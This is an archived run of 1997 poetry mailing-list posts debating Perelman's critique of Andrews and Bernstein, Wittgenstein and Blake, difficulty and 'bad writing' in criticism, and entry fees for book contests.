> *aspects of being nonsensical! Without intending to be overly flattering,*
> *this is*
> *like DeKooning accusing Pollack of being vague and ambiguous, pot accusing*
> *the kettle, etc. So the*

I keep getting very weirded out by public comments on Perelman's Marginalization.....At first, I just thought it was a question of my own reading habits versus those of others...But now I think maybe something more important is going on...So, for what it's worth:

Many responses to Perelman's book have said essentially the same as above: that his treatment of Andrews and (esp.'y) Bernstein is harsh, dismissive, highly unsympathetic. I don't get it. Personally I find this reading of the tone and substance of the passages in question mind-boggling...They are not that negative, to put it mildly..Since most of the principles in this case are hanging around the List, there's plenty of room for further input, from people much closer to this issue than me. I'll just point out what has come to really disturb me about this (so that I finally felt like putting in my $.02): I wonder whether reviewing and critical habits among many of us, have skewed our ability to read tone and intention in some poetry criticism. Most of us most of the time, concentrate on publishing or posting responses to poetry we **like** and want to support....There is an ethos of positive response, you could almost say (my background showing) solidarity, nonsectarian and generous, toward those poets we feel affinities with..This is very much the way it ought to be, not least because resources are scarce, and the path usually pretty tough for most poets trying to find enough support to just keep on...But have we blunted our tolerance for careful and specific criticism??? I find the treatment of Andrews and CB fair and sympathetic and very subtle, and not primarily dismissive or condemnatory of their poetry..Quite the contrary; but it certainly is about identifying tensions

and contradictions in their work. I make public comments in print and in cyberspace about other poets, and start to feel a little anxious, if there is such a widespread perception that modulated discussions like BP's are attacks, just because they aren't entirely laudatory...

Mark P.

↑ Index

804. CHRIS MANN
Re: Music & poetry
Tue 27 May 1997

---

i don't understand the project. how are these distinctions made? (poetry/philosophy/music/documented/performance/score/collaboration..(book i can just about cope with.)) (and to what purpose? (i thought this was why we paid the police.)) this i think is a sympathetic inquiry.

On Tue, 27
May 1997, Joseph Duemer wrote:

> *Who was it suggested the trivium of poetry / philosophy / music? A beautiful and resonant triangle (which instrument I played in my grammar school orchestra).*
>
> *Anyway, for an on-going bibliographic project, could people backchannel me with information on musical/text collaborations that have resulted in documented performances, books, scores, etc. Time period:1978-2001. Many thanks in advance.*
> *--*
>
> ---
>
> *Joseph Duemer*
> *School of Liberal Arts*
> *Clarkson University*
> *Potsdam NY 13699*
> *Phone:* [redacted]
> *Fax:* [redacted]
> [redacted]
>
> *"The honey of heaven may or may not come,*
> *But that of earth both comes and goes at once."*
> *Wallace Stevens*

↑ Index

805. **David R. Israel**

Re: wittgenstein & blake

Tue 27 May 1997

> *Joseph Duemer wrote:*
>
> *Wittgenstein: "What cannot be imagined cannot even be talked about." (_Tractatus_ 5.61)*
>
> *Blake: "Everything that can be imagined is an image of the truth." (_The Marriage of Heaven and Hell_, quoted from memory)*
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> *Opposing positions? Parallel? The same?*

and Dan Zimmerman replied:

> *Contraries. But what can one not imagine, or what imagination cannot insinuate itself into anyone? [A post facto, redundant point--i.e., like saying that if you imagined something you imagined it--though it seems to me that Blake's circumlocution suggests that one may see anything as an "image of truth."]*

Blake's
~~Everything that can be imagined is an image of the truth

can be read, first as:
~~Everything that can be imagined is an image

with "image of the truth" being Blake's slant on the nature of "image" per se. (I.e., he suggests, IF it's an image, THEN it's an image of the truth. Further, IF it can be imagined, THEN it's an image. Ergo -- the succinct sentence.)

Wittgenstein's
~~What cannot be imagined cannot even be talked about

can be read as a statement regarding the relationship between word and image. (I.e., the priority of image -- or the imaginable -- to word -- or the discussable.)

These might be construed as contraries, but I'd say they seem more like mappings along a continuum -- from word to imagination (W.) and then from imagination to image ["of the truth"] (B.)

Of the two, Blake's invocation of "truth" may strike us, these days, as the more markedly problematical of the twain.

d.i.
.
.....
.....
\\\

```
  >   david   raphael   israel   <
  >>     washington  d.c.     <<
| ▇▇▇▇▇▇▇     (home)
| ▇▇▇▇▇▇▇     (office)
==========================
|  thy centuries follow each other
|  perfecting a small wild flower
|                              (Tagore)
////////////////////////////////////////\\\\\/////
```

↑ Index

806. **hen**
Re: bad writing
Tue 27 May 1997

I know I'm starting to sound like Allan Bloom on this list - kind of ridiculous. What I'm getting at is that the survival instinct that used to "salt" the work of the poet in olden days now goes into film & popular music. Poetry is a socio-verbal recovery & counseling retreat center in our culture, petted & patronized & very "special". Yeccchhh... But again we're talking about the social face of it (as with the awards biz) - not the "inside". And only one aspect of the social face, at that. - Henry

----------Original message----------

P.S. - what do you mean exactly by Ariosto singing for his supper? How does that differ from the institutional largesse which so many writers depend on today - unless you're talking about strictly "spiritual" dividends.

Patrick Pritchett

↑ Index

807. **Joseph Duemer**
Re: wittgenstein & blake
Tue 27 May 1997

They still call it thinking out loud. Are you implying that one needs a thesis before delivering oneself of a sentence? I like that bit about God reading the torah, didn't know that.

CHRIS MANN wrote:

> *talking to find out what you think is not a new idea. they used to call it thinking out loud. freud called something else the talking cure. there is also the story that before god created the world he read the torah. this is a position? <*

> *On Mon, 26 May 1997, Joseph Duemer wrote:*
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Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

808. **Piombino/Simon**
Re: Pie Barrage
Tue 27 May 1997

Mark P. I wonder how carefully you read what I wrote. I certainly didn't accuse Perelman of being condemnatory or any such thing. I'm afraid you found nothing subtle in my remarks- perhaps this is my fault- but you seem to take me dead seriously- in spite of my frequent caveats about not having the texts in front of me. My- now seemingly trivial point- was simply that Perelman seems to miss their "chops" - a word defined in a posting on here some time ago. What I found strange about Perelman's critique, again, had more to do with what it would sound like if Ornette Coleman commented on John Coltrane for being dissonant. Again, please let me come back with specific quotes. Maybe I'm completely off here. You have challenged me to clarify and defend my off the cuff remarks.By the way, if you think it is so useful to be confrontative, why are you so "wierded out" by my rather gentle critique of Perelman? After all, I do imply he's a pretty good poet by comparing him with DeKooning. Best wishes, Nick P.On Tue, 27 May 1997, Mark Prejsnar wrote:

> *On Sun, 25 May 1997, Piombino/Simon wrote:*
>
> *Perelman's mature work, and maybe even his immature work, as a poet emerged) he critiques both Andrews and*
> *Bernstein (here's where would be nicer to quote, and unfortunately I can't at the moment) for being less than coherent, let us say, orderly and meaningful in ways that might have significant and useful social value.*
> *In short, he apparently is accusing them of publishing works that have aspects of being nonsensical! Without intending to be overly flattering, this is*
> *like DeKooning accusing Pollack of being vague and ambiguous, pot accusing the kettle, etc. So the*
>
> *I keep getting very weirded out by public comments on Perelman's Marginalization.....At first, I just thought it was a question of my own reading habits versus those of others...But now I think maybe something more important is going on...So, for what it's worth:*
>
> *Many responses to Perelman's book have said essentially the same as above: that his treatment of Andrews and (esp.'y) Bernstein is harsh, dismissive, highly unsympathetic. I don't get it. Personally I find this reading of the tone and substance of the passages in question mind-boggling...They are not that negative, to put it mildly..Since most of the principles in this case are hanging around the List, there's plenty of room for further input, from people much closer to this issue than me. I'll just point out*

> *what has come to really disturb me about this (so that I finally felt like putting in my $.02): I wonder whether reviewing and critical habits among many of us, have skewed our ability to read tone and intention in some poetry criticism. Most of us most of the time, concentrate on publishing or posting responses to poetry we **like** and want to support....There is an ethos of positive response, you could almost say (my background showing) solidarity, nonsectarian and generous, toward those poets we feel affinities with..This is very much the way it ought to be, not least because resources are scarce, and the path usually pretty tough for most poets trying to find enough support to just keep on...But have we blunted our tolerance for careful and specific criticism??? I find the treatment of Andrews and CB fair and sympathetic and very subtle, and not primarily dismissive or condemnatory of their poetry..Quite the contrary; but it certainly is about identifying tensions and contradictions in their work. I make public comments in print and in cyberspace about other poets, and start to feel a little anxious, if there is such a widespread perception that modulated discussions like BP's are attacks, just because they aren't entirely laudatory...*
>
> *Mark P.*

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809. **Douglas Barbour**

Re: western disaffection

Tue 27 May 1997

I think Robert Archambeau hits a lot of nails right on their heads. We probably should get back to poetry (but politics is always there/in), & backchannel more on this rotten state topic (except that I read everything in the digest & enjoy the range). Andrew John Miller's latest post does make some necessary points; but:

Yeah Reform has somehow taken the lead in representing western alienation, & done so by misrepresenting the politics of (dis) connection. It may do some good (it will elect quite a few people) waking Ottawa up to the fact that, as it has said, "The West wants in!" (but too many people arent seeing that they also want to destroy that which we apparently want in on). I still fear what they would do with power. The leader is a dogmatist (& the message, finally, is exclusive not inclusive [& Joe was dead on about all that]) & I always come back to bpNichol's palindrome on that -- "dogma I am god".

I hope for a wider range of representation than we now have, but I aint holding my breath...

==========
==========

Douglas Barbour
Department of English
University of Alberta
T6G 2E5
H: [redacted]

I see
only
through the touching of
the light [redacted]

Edmonton Alberta
FAX:[redacted]
Luce Irigaray

↑ Index

810. Fred Muratori

Re: Book Contests/AN IDEA

Tue 27 May 1997

> *Actually, when I sent my "novel," _The Letters of Mina Harker_, to Sun & Moon, DM informed me that it would have to be entered as part of the fiction contest, and that I should pay $25 to have it read...*
>
> *Dodie*

I sent a poetry ms. to this contest also. But -- at least in my understanding -- the entry fee doesn't go to the publisher as such, but to the Center for Contemporary Arts (?) in L.A. I guess I rationalize the high entry fee by assuming that at least part of it is helping a nonprofit arts organization that does all kinds of interesting, artsy things for the local community. (Uh-oh, I might be on the verge of suggesting that a percentage of contest fees go toward subsidizing the NEA, which could turn around and put some of the money into subsidizing presses, who could then sponsor more contests -- but no, it's just a case of attempted thread fusion.) Is my assumption here correct? Anyone know?

-- Fred

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html

"The spaces between things keep
getting bigger & more
important."
- John Ashbery

****

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811. **CHRIS MANN**
Re: wittgenstein & blake
Tue 27 May 1997

---

i imply wittgenstein and grammar

On Tue, 27 May 1997, Joseph Duemer wrote:

> *They still call it thinking out loud. Are you implying that one needs a thesis before delivering oneself of a sentence? I like that bit about God reading the torah, didn't know that.*
>
> *CHRIS MANN wrote:*
>
> *talking to find out what you think is not a new idea. they used to call it thinking out loud. freud called something else the talking cure. there is also the story that before god created the world he read the torah. this is a position? <*
>
> *On Mon, 26 May 1997, Joseph Duemer wrote:*
>
> *Wittgenstein: "What cannot be imagined cannot even be talked about." (_Tractatus_ 5.61)*
>
> *Blake: "Everything that can be imagined is an image of the truth." (_The Marriage of Heaven and Hell_, quoted from memory)*
>
> *Opposing positions? Parallel? The same?*
> *--*
>
> ---
>
> *Joseph Duemer*
> *School of Liberal Arts*
> *Clarkson University*
> *Potsdam NY 13699*
> *Phone:* [redacted]
> *Fax:* [redacted]
> [redacted]
>
> *"The honey of heaven may or may not come,*
> *But that of earth both comes and goes at once."*
> *Wallace Stevens*
>
> *--*
>
> ---
>
> *Joseph Duemer*
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> [redacted]
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812. Jordan Davis
Re: Pie Barrage
Tue 27 May 1997

In what way Mark Baker is Federal Jameson
supposed to be like Coleridge? C. obfuscates
fudges diverges circumambulates etc _not_
in the service of a banal misunderstanding
as it usually sounds to me Jameson does
but rather avoids ever onward the lime
tree bower his prison? Key is I think
to sympathize. Jameson don't. Nor do Spivak.
Ergo resentment and outsider therapy
the which cures nothing for confirmed cases
but there we are hopping among the hybrid
later readers of which yes you seem to be
a confederate. Is it true the Ear's over?
K,
J

↑ Index

813. Daniel Tessitore
Re: bad? writing? reading?
Tue 27 May 1997

I have to say I agree, generally, with Douglas's agreement with Patrick, but would like also to point out the following:

From time to time poets appear, who, if they are accepted at all, demand a radical revision of the existing conception of poetry. Of this sort are our modern poets, and herein lies the difficulty of accepting them, or, if they are accepted, the difficulty of accommodating them in the traditionally accepted pattern. Cleanth Brooks, Modern Poetry and the Tradition (1939)

I don't recall the particular source(s) of these recent posts, and so am not implying any direct analogies, but it is worth noting (I think) that a large part of Brooks' and others' purpose at that time was to justify literary criticism as a university-worthy discipline by systematizing it.

Any thoughts?

DT

From: Douglas Barbour[SMTP:[redacted]]
Sent: Thursday, May 29, 1997 11:26 PM
To: [redacted]
Subject: Re: bad? writing? reading?

I have to agree with Patrick:

>>Date: Wed, 28 May 1997 09:18:00 -0500
From: "Pritchett,Pat @Silverplume" <[redacted]>
Subject: Re: Fwd: Bad Writing

I'm all for the virtues of clarity, but I'm not sure I agree with this, Mark. It's always seemed to me that original or powerful or compelling writers force the reader to expand by learning how to read their work -- which often appears difficult at first, and perhaps is out of the need to break from what has proceeded it -- and that this, in part, constitutes what we mean by reading. Which is not to justify obscurantism or defend prolixity.

Patrick Pritchett<<

That's certainly how I came to enjoy Derrida, bit by bit & little by little, & then it was fun! Mind you I do read him more the way I read poetry than the way I (usually) read criticism etc. But then, I found that, in a different site, I read Guy Davenport's essays & stories with much the same sense of delight, & reread them for the pleasures of his text.

But some 'difficult' prose styles are more fun than others. To me. Or to you, mon semblable...

==========
Douglas Barbour I see
Department of English only

University of Alberta through the touching of Edmonton Alberta
T6G 2E5 the light [redacted] FAX:[redacted] Luce Irigaray
H: [redacted]

↑ Index

814. Daniel Tessitore
Re: bad? writing? reading?
Tue 27 May 1997

---

my previous post's Brooks quote contains tab-spaces that don't belong. Sorry.

DT

From: Daniel Tessitore[SMTP:[redacted]]
Sent: Tuesday, May 27, 1997 12:49 PM
To: [redacted]
Subject: Re: bad? writing? reading?

I have to say I agree, generally, with Douglas's agreement with Patrick, but would like also to point out the following:

From time to time poets appear, who, if they are accepted at all, demand a radical revision of the existing conception of poetry. Of this sort are our modern poets, and herein lies the difficulty of accepting them, or, if they are accepted, the difficulty of accommodating them in the traditionally accepted pattern. Cleanth Brooks, Modern Poetry and the Tradition (1939)

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Any thoughts?

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Sent: Thursday, May 29, 1997 11:26 PM
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I have to agree with Patrick:

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That's certainly how I came to enjoy Derrida, bit by bit & little by little, & then it was fun! Mind you I do read him more the way I read poetry than the way I (usually) read criticism etc. But then, I found that, in a different site, I read Guy Davenport's essays & stories with much the same sense of delight, & reread them for the pleasures of his text.

But some 'difficult' prose styles are more fun than others. To me. Or to you, mon semblable...

==========
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Douglas Barbour I see
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T6G 2E5 the light [redacted] FAX:[redacted] Luce Irigaray
H: [redacted]

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815. Daniel Tessitore
Re: bad? writing? reading?
Tue 27 May 1997

Henry Gould wrote:

These days I am trying to read Ariosto's ORLANDO FURIOSO, with a prose crib and some literary crit alongside. One thing I've learned is that this clarity/obscurity debate goes a long way back, through a lot of variations. Back in them italian days it was between the civic engage humanists and the academic neo-Platonists. Everybody troubled by the crisis of the state, th crisis of the self, the crisis of language. Ariosto deals mysteriously with all this. One of the cruxes of ORLANDO is the limit of crisis - death & madness (or, scriptorial entombment & furor poeticus). The theme was, what's literature "for"... education? Along with, what the heck is it? ... a healing drug/poison? Evasion/madness/escape/closed circle? Pure wind verbiage, excess?

Anyway, the New Critics didn't invent "difficulty" - in some ways, maybe, they domesticated it. What's difficult may not be the allusive, abstruse & innovative

- what's truly hard to read might be the denotative & the engage. - Henry

_____

I agree that the NC's did not "invent" difficulty--but didn't they go a long way to invent themselves as the proper experts to 'explain' difficulty? --and not only the difficulty of the moderns, but the 'difficulty' of everyone prior to them, so that their exlpanation was, in a sense, retroactive?

DT

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816. **dbkk**
Re: Book Contests/AN IDEA
Tue 27 May 1997

At 11:33 AM -0400 5/27/97, Fred Muratori wrote:
>
>I sent a poetry ms. to this contest also. But -- at least in my
>understanding -- the entry fee doesn't go to the publisher as such, but to
>the Center for Contemporary Arts (?) in L.A. I guess I rationalize the
>high entry fee by assuming that at least part of it is helping a nonprofit
>arts organization that does all kinds of interesting, artsy things for the
>local community.

I think the question you should be asking here, Fred, is--what is the relationship between the Center for Contemporary Arts and DM and S&M. From what I've heard, the answer would surprise you.

Dodie

↑ Index

817. **David Kellogg**
Re: Book Contests/AN IDEA
Tue 27 May 1997

On Tue, 27 May 1997 [redacted] wrote:

> *I think the question you should be asking here, Fred, is--what is the relationship between the Center for Contemporary Arts and DM and S&M. From what I've heard, the answer would surprise you.*

Aren't they more or less the same thing? CCA and S&M I mean, not Doug himself.

Cheers,
David
~~~
~~~

David Kellogg Duke University
[redacted] University Writing Program
[redacted] Durham, NC 27708
FAX [redacted] http://www.duke.edu/~kellogg/

There is no mantle
and it does not descend.

-- Thomas Kinsella

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818. **Laura Moriarty**
Re: wittgenstein & blake
Tue 27 May 1997

Wittgenstein and Blake seemed related by contradiction. A relation that Blake would have understood, as he was always uniting contraries. Wittgenstein does seem rather a Urizenic figure in his relentless logic - possibly a redeemed Urizen who has picked up his compass and walked away -

Puts me in mind of Jameson's sense of a contradiction as "a matter of partialities and aspects; only some of it is incompatible with the accompanying proposition; indeed, it may have more to do with forces, or the state of things, than with words or logical implications." (I love his sentences.) (That was from The Seeds of Time)

Marjorie Perloff quoting Witt: "...to imagine a language means to imagine a form of life." (Philosophical Investigations) This seems not incompatible with the worlds Blake creates in the prophecies where imagining and being and the language of the poem are simultaneous -

I must admit I was startled to see these two writers on the same line as I have just finished a book called The Case and have just published one called Symmetry and have been reading Blake and Wittgenstein in relation to these two projects (with a lot of Duchamp thrown in) -

Laura Moriarty

> *i imply wittgenstein and grammar*
>
> *On Tue, 27 May 1997, Joseph Duemer wrote:*
>
> *They still call it thinking out loud. Are you implying that one needs a thesis before delivering oneself of a sentence? I like that bit about God reading the torah, didn't know that.*
>
> *CHRIS MANN wrote:*

talking to find out what you think is not a new idea. they used to call it thinking out loud. freud called something else the talking cure. there is also the story that before god created the world he read the torah. this is a position? <

On Mon, 26 May 1997, Joseph Duemer wrote:

Wittgenstein: "What cannot be imagined cannot even be talked about." (_Tractatus_ 5.61)

Blake: "Everything that can be imagined is an image of the truth." (_The Marriage of Heaven and Hell_, quoted from memory)

Opposing positions? Parallel? The same?
--

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

--

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

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819. **Joseph Lease**
Re: Pie Barrage
Tue 27 May 1997

that was extremely hot:

let's talk about sympathy--the power of--

On Tue, 27 May 1997, Jordan Davis wrote:

> *In what way Mark Baker is Federal Jameson*
> *supposed to be like Coleridge? C. obfuscates*
> *fudges diverges circumambulates etc _not_*
> *in the service of a banal misunderstanding*
> *as it usually sounds to me Jameson does*
> *but rather avoids ever onward the lime*
> *tree bower his prison? Key is I think*
> *to sympathize. Jameson don't. Nor do Spivak.*
> *Ergo resentment and outsider therapy*
> *the which cures nothing for confirmed cases*
> *but there we are hopping among the hybrid*
> *later readers of which yes you seem to be*
> *a confederate. Is it true the Ear's over?*
> *K,*
> *J*

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820. **Matthias Regan**
Re: Fwd: Bad Writing
Tue 27 May 1997

joe et al.,

thank you for the large amount of good writing occasioned by 'bad writing' (catching up with the weekend's posts bit by bit), espcially joe's pragmatism,

> *anyway, my point should be obvious enough: that "good" writing---like*
> *"bad" writing---implies a moral-political judgment... now i'm not against*
> *making such judgments---but they need to be understood as such... and when*
> *you hear somebody running around using the term "bad writing" as though*
> *style can be unproblematically separated from "content"---as though "bad"*
> *is 'merely' a stylistic denotation---well that in itself should give one*
> *reason to pause...*

which for me heads toward the heart of the matter; why should one be any more conservative (or narrowminded?) in determining the limits of good writing in any genre than they are in determining what makes good poetry? Clarity has its admirable qualities. Brevity, too. But applying any non-contextual

standards (I mean grossly, across the boards) to a judgement of meaning fails to understand how linguistic meaning is made.

And another thought: as joe mentioned, 'good' and 'bad' need to be underscored as relative--so too 'difficult'. What is 'difficult'? Is reading Jameson's sentence 'difficult'? Compared to...learning latin, reading a sentence in Japanese, etc.? Compared to chunks of P's Cantos, or Wyatt in the original? It is a challenge; often a pleasant one.

Matthias

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821. **Henry**
Re: Fwd: Bad Writing
Tue 27 May 1997

On Tue, 27 May 1997 13:55:32 -0500 Matthias Regan said:
>
>which for me heads toward the heart of the matter; why should one be any
>more conservative (or narrowminded?) in determining the limits of good
>writing in any genre than they are in determining what makes good poetry?
> Clarity has its admirable qualities. Brevity, too. But applying any
>non-contextual standards (I mean grossly, across the boards) to a judgement
>of meaning fails to understand how linguistic meaning is made.

I'd like to go back to Valery's distinction between prose discourse and poetry (I'd like to, but I don't have it very secure in memory or in front of me on the page...). Prose does its job when the meaning is delivered; the language is functional. Poetry exhibits a pendulum effect - the mind absorbs the conceptual elements but swings back to the "unforgettable" surplus whole which is the poem itself. Seems to me he's onto something there. Sure we can talk about a philosopher or critic's style; style is like clothing - it's on the exact borderline between irrelevant and necessary for life; poetry, on the other hand, is a form of streaking. How's that for non-stylish discourse? - Henry Gould

↑ Index

822. **Mark Weiss**
Re: Fwd: Bad Writing
Tue 27 May 1997

---

morte difficult than pound and wyatt, less so than learning latin or japanese. But maybe even the comparison with the latter makes the point: a sympathetic and educated reader shouldn't have to translate from his own language unless there's a damn good reason--a hard case to make for anyone's first sentence in

any book. To the degree that the first sentence is opaque the writer must be limiting his audience to those who have learned his code from previous books. That can make for a cozy club, but why shouldn't a newcomer, rather than paying the entry fee, go somewhere else for his amusement?

> *And another thought: as joe mentioned, 'good' and 'bad' need to be underscored as relative--so too 'difficult'. What is 'difficult'? Is reading Jameson's sentence 'difficult'? Compared to...learning latin, reading a sentence in Japanese, etc.? Compared to chunks of P's Cantos, or Wyatt in the original? It is a challenge; often a pleasant one.*
>
> *Matthias*

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823. **Stephen Vincent**
Re: Book Contests/AN IDEA
Tue 27 May 1997

When I started this thread,
I had no intention of seeing
it become what might be
currently interpreted as an
attack etc. on Doug Messerli
and/or Sun & Moon. My intention
was to focus on making a
more reciprocal relationship
between publishers (particularly
ones that mount contests)
and the poets who pay entrance
fees. My proposal was that
a submission fees would entitle
would also entitle all entering
poets (or writers) to a copy
of the winning book. If that
were the case, for example,
Dodie would have gotten a copy of
the winning title in the S&M
contest and she and other entrants
would be given (if they can overcome
the experience of rejection) an
opportunity to objectively
read the winner's actual work.

Additionally the receipt of a
book becomes a form of reciprocation
for the submission fee.
Not only do I think this process
-- which provides the poet or
writer to judge the material
and see what he or she was
"up against -- but, from a
publisher's point of view,
I think it will expand the
credibility of the process,
possibly increase the print run
(and lower unit costs), but
also get the winner's work
(especially if he or she is
a new kid on the block)
out into a much greater
public ciruclation than this
country's bookstores
will provide.

Finally, I only know Doug M.
personally as a friend and
an occasional fellow publisher.
I've never been published by
Doug, but I have a great deal
of respect for the books and
contributions that Sun and Moon
have made to honor the act
of making new and innovative
work. Given the
enormous ambitions of the
Press, and just
the sheer bravado it takes to
survive as a publsiher of
any kind of new writing, I'm sure
Doug has occasionally bitten
off more than he can chew, as well
as had chance to fall err or
victim to mistakes in judgement
or enthusiams. I would first give
honor to what he's accomlished

and then ask the respectful
question.
I think if we cleared that air
first, then, if Doug wants, he can
address this wicked seeming
area of contests, publishers and
poets.

Cheers,
Stephen Vincent

↑ Index

824. Matthias Regan
Re: wittgenstein & blake
Tue 27 May 1997

Laura Moriarty wrote:

> *I must admit I was startled to see these two writers on the same line as I have just finished a book called The Case and have just published one called Symmetry and have been reading Blake and Wittgenstein in relation to these two projects (with a lot of Duchamp thrown in) -*

Please elaborate: I would like to hear how Duchamp fits in.

Regarding the Jameson you introduce: that is a great quote, and a beautiful sentence. Bakhtin replaces dialectic with dialogic, because there is no solution between such forces; as in dialog there is no guarantee they listen to or hear each other.

Matthias

↑ Index

825. William Burmeister Prod
Re: Fwd: Bad Writing
Tue 27 May 1997

Henry wrote:

> *poetry, on the other hand, is a form of streaking.*

That's precious Henry! You mean runnin' nekked?

Bill B.

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826. **Matthias Regan**
Re: Fwd: Bad Writing
Tue 27 May 1997

Henry Gould nakedly mused:

> *Prose does its job when the meaning is delivered;*
> *the language is functional. Poetry exhibits a pendulum effect - the mind*
> *absorbs the conceptual elements but swings back to the "unforgettable"*
> *surplus whole which is the poem itself. Seems to me he's onto something*
> *there. Sure we can talk about a philosopher or critic's style; style is*
> *like clothing - it's on the exact borderline between irrelevant and*
> *necessary for life; poetry, on the other hand, is a form of streaking.*
> *How's that for non-stylish discourse? - Henry Gould*

Valery (what little I recall clearly as well) was no doubt up to smart things, but what's wrong with "Poetry does its job when the meaning is delivered; the language is functional." In prose and poetry the functional parts of the language are many and complex: great & local context, etimology, spoken and thought sound, etc. But I don't like how poetry should be said to operate differently from prose--only that it often does-and perhaps this is (only?) because we often read it with different expectations. I can't think of how 'style' does not attach itself to every word, every utterance--when the signification is uncertain (as always), then the meaning is the style (as perhaps someone said already...) what Wittyguystein calls the "halo" of the word, what Bakhtin calls "heteroglossia" or "ideological meaning." I guess I think I'm saying I think style is necessary, never irrelevant to poetry or prose. As for the "unforgettable", that surplus: where does it reside? It can't have to do with length (when you say the whole) because short prose and long poems, but with the idea of what poetry is. What about Rimbaud's prose-poems? Or then, what about Hass's? As for streaking: what is the emporer doing in his new clothes?

Matthias

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827. **Laura Moriarty**
Re: wittgenstein & blake
Tue 27 May 1997

It is possible that, as you say, or as Baktin says, there may be no solution or resolution. The lack of resolution, as in the undoneness of the Zoas, has always attracted me to Blake. The resistance of these figure to each other may be absolute.

Duchamp functions as something like a middle term for me between Wittgenstein and Blake. Witt's "everyday life being a puzzle of language" may be a term

that could apply to any writer's project. But that sense added to the the sublime allegory of Blake or Duchamp - in both cases some sort of allegory of the garden or city or construction of the imagination. Witt's allegory, in these terms, is grammar and the iron book of this grammar is something that one can perceive Blake's entities stomping around in.

Duchamp works in because of his emphasis on language and games (puns, chess, masquerade etc) as well as on mathematics and logic - These seem Wittgensteinian - And the sense of the feminine emanation or threatening and threatened "sexual machine" (in the Zoas and Jerusalem) are in both Blake and Duchamp. There is a sexual ambiguity to Witt and Duchamp. There is a linear, literary, sculptural aspect to the art of Blake and Duchamp.

Laura

> *Laura Moriarty wrote:*
>
> *I must admit I was startled to see these two writers on the same line as I have just finished a book called The Case and have just published one called Symmetry and have been reading Blake and Wittgenstein in relation to these two projects (with a lot of Duchamp thrown in) -*
>
> *Please elaborate: I would like to hear how Duchamp fits in.*
>
> *Regarding the Jameson you introduce: that is a great quote, and a beautiful sentence. Bakhtin replaces dialectic with dialogic, because there is no solution between such forces; as in dialog there is no guarantee they listen to or hear each other.*
>
> *Matthias*

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828. **Matthias Regan**

Re: Fwd: Bad Writing

Tue 27 May 1997

> *a sympathetic and educated reader shouldn't have to translate from his own language unless there's a damn good reason--a hard case to make for anyone's first sentence in any book.*

A "sympathetic" reader might not mind "translating", though I meant to suggest with that comparison, not that Jameson needed translating, but that we do all kinds of difficult things--what if it takes a couple years to "learn" how to read Jameson's prose? Why does his prose have to be "accessible" so quickly?

To the degree that the first sentence is opaque
>the writer must be limiting his audience to those who have learned his code
>from previous books.

Or to new-comers who are intrigued, or impressed by the complexity of the sentence, or who understand it off the bat from reading other long and complicated sentences, or because they are so familiar with the content. The audience is limited, after all, once anything is written or said.

That can make for a cozy club, but why shouldn't a
>newcomer, rather than paying the entry fee, go somewhere else for his amusement?

Well, but why not? I think there are two different things going on. The complexity of Jameson's prose, and the hegemony that might or might not exist saying that this prose is "necessary" (for something), and _must_ be mastered despite the difficulty that that entails.

Or the other answer would be: Jameson's prose is not here for entertainment ("cozy club") purposes (though puzzling through the long sentences is not nec. not entertaining), but to instruct; and one part of the instruction is to keep always in mind while reading it that language is most 'dangerous' (to something) when it is least visible. Jameson is working hard to avoid transparency in his prose.

> *And another thought: as joe mentioned, 'good' and 'bad' need to be underscored as relative--so too 'difficult'. What is 'difficult'? Is reading Jameson's sentence 'difficult'? Compared to...learning latin, reading a sentence in Japanese, etc.? Compared to chunks of P's Cantos, or Wyatt in the original? It is a challenge; often a pleasant one.*
>
> *Matthias*

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829. **Mark Weiss**
Re: Fwd: Bad Writing
Tue 27 May 1997

Gee, thanks. I get so testy if I'm not patronized at least once a day.

Look, part of my job as a writer is to educate my readers how to read me. To see oneself as above that is an act of narcissism.

> *Or the other answer would be: Jameson's prose is not here for entertainment ("cozy club") purposes (though puzzling through the long sentences is not nec. not entertaining), but to instruct; and one part of the instruction is to keep always in mind while reading it that language is most 'dangerous' (to something) when it is least visible. Jameson is working hard to avoid transparency in his prose.*
>
> *And another thought: as joe mentioned, 'good' and 'bad' need to be underscored as relative--so too 'difficult'. What is 'difficult'? Is reading Jameson's sentence 'difficult'? Compared to...learning latin, reading a sentence in Japanese, etc.? Compared to chunks of P's Cantos, or Wyatt in the original? It is a challenge; often a pleasant one.*
>
> *Matthias*

↑ Index

830. **Joseph Duemer**

Re: wittgenstein & blake

Tue 27 May 1997

Laura Moriarty wrote:
>
> It is possible that, as you say, or as Baktin says, there may be no
> solution or resolution. The lack of resolution, as in the undoneness of the
> Zoas, has always attracted me to Blake. The resistance of these figure to
> each other may be absolute.
>
> Duchamp functions as something like a middle term for me between
> Wittgenstein and Blake. Witt's "everyday life being a puzzle of language"
> may be a term that could apply to any writer's project. But that sense
> added to the the sublime allegory of Blake or Duchamp - in both cases some
> sort of allegory of the garden or city or construction of the imagination.
> Witt's allegory, in these terms, is grammar and the iron book of this
> grammar is something that one can perceive Blake's entities stomping
around
> in.
>
> Duchamp works in because of his emphasis on language and games (puns,

> chess, masquerade etc) as well as on mathematics and logic - These seem
> Wittgensteinian - And the sense of the feminine emanation or threatening
> and threatened "sexual machine" (in the Zoas and Jerusalem) are in both
> Blake and Duchamp. There is a sexual ambiguity to Witt and Duchamp. There
> is a linear, literary, sculptural aspect to the art of Blake and Duchamp.
>
> Laura
>
> >Laura Moriarty wrote:
> >
> >>I must admit I was startled to see these two writers on the same line as I
> >>have just finished a book called The Case and have just published one
> >>called Symmetry and have been reading Blake and Wittgenstein in relation to
> >>these two projects (with a lot of Duchamp thrown in) -

